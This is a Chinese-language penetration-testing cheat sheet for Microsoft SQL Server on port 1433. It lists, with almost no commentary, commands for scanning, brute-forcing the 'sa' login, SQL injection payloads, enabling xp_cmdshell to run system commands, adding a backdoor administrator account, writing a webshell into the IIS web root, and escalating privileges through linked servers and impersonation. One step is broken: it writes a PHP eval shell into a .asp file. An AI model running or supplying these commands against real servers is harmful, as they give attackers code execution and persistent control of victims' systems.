1433 - MSSQL 渗透

# Nmap 扫描
nmap -sV -p 1433 <TARGET_IP>

# MSSQL 枚举脚本
nmap --script ms-sql-* <TARGET_IP>

# Nmap 脚本
nmap --script ms-sql-info <TARGET_IP>

# 直接连接
mssqlclient.py user@<TARGET_IP>

# Hydra 爆破
hydra -l sa -P /usr/share/wordlists/rockyou.txt mssql://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M mssql

# crackmapexec
crackmapexec mssql <TARGET_IP> -u sa -p password

# 使用 impacket
mssqlclient.py sa@<TARGET_IP>

# 查询版本
SELECT @@version;

# 查询用户
SELECT name FROM sysusers;

-- 联合查询
' UNION SELECT 1,2,3--

-- 报错注入
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

-- 时间盲注
' WAITFOR DELAY '0:0:5'--

-- 启用 xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';

-- 添加用户
EXEC xp_cmdshell 'net user hacker Password123! /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

-- 启用 OLE
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

-- 创建文件
DECLARE @o int;
EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_oamethod @o, 'CreateTextFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_oamethod @o, 'Write', NULL, '<?php @eval($_POST["cmd"]);?>';

-- 备份数据库到 Web 目录
BACKUP DATABASE master TO DISK='C:\inetpub\wwwroot\shell.bak'
WITH FORMAT,
MEDIANAME='WebShell',
NAME='Full Backup';

-- 查看链接服务器
SELECT * FROM sys.servers;

-- 通过链接服务器执行命令
EXEC('xp_cmdshell ''whoami''') AT [LinkedServer];

-- 利用数据库用户权限提升
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;